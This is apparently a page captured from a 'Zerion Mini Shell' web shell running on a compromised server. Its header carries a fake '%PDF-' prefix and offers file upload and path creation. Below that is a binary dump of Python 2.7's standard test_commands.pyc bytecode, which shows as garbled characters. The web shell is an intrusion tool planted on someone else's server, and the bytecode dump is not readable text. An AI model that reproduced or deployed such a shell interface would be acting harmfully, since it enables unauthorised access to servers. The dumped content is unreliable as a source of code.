%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_commands.pyc

ó
Nêáac@sÇdZddlZddlZddlZddlZddlmZmZmZm	Z	edde
ƒZejdkr‹ej
dƒ‚ndejfd	„ƒYZd
„ZedkrÃeƒndS(s0
   Tests for commands module
   Nick Mathewson
iÿÿÿÿN(trun_unittestt
reap_childrent
import_moduletcheck_warningstcommandst
deprecatedtposixs!Not posix; skipping test_commandstCommandTestscBseZd„Zd„ZRS(cCsª|jtjdƒdƒ|jtjdƒdƒd}zNtjƒ}tjj	|dƒ}tjd|ƒ\}}|j
|dƒWd|dk	r¥tj|ƒnXdS(Ns
echo xyzzytxyzzyitfooscat (iR(tassertEqualRt	getoutputtgetstatusoutputtNonettempfiletmkdtemptostpathtjointassertNotEqualtrmdir(tselftdirtnametstatustoutput((s./usr/local/lib/python2.7/test/test_commands.pyttest_getoutputsc	CsKd}tdtfƒ-|jtj|tjdƒtjƒƒWdQXdS(Ns7d.........   # It is a directory.
                  [.+@]?       # It may have special attributes.
                  \s+\d+       # It has some number of links.
                  [^/]*        # Skip user, group, size, and date.
                  /\.          # and end with the name of the file.
               s$.*commands.getstatus.. is deprecateds/.(RtDeprecationWarningt
assertTruetretmatchRt	getstatustVERBOSE(Rtpat((s./usr/local/lib/python2.7/test/test_commands.pyttest_getstatus,s
(t__name__t
__module__RR"(((s./usr/local/lib/python2.7/test/test_commands.pyRs	cCsttƒtƒdS(N(RRR(((s./usr/local/lib/python2.7/test/test_commands.pyt	test_mainDs
t__main__(t__doc__tunittestRRRttest.test_supportRRRRtTrueRRtSkipTesttTestCaseRR%R#(((s./usr/local/lib/python2.7/test/test_commands.pyt<module>s$",	

Zerion Mini Shell 1.0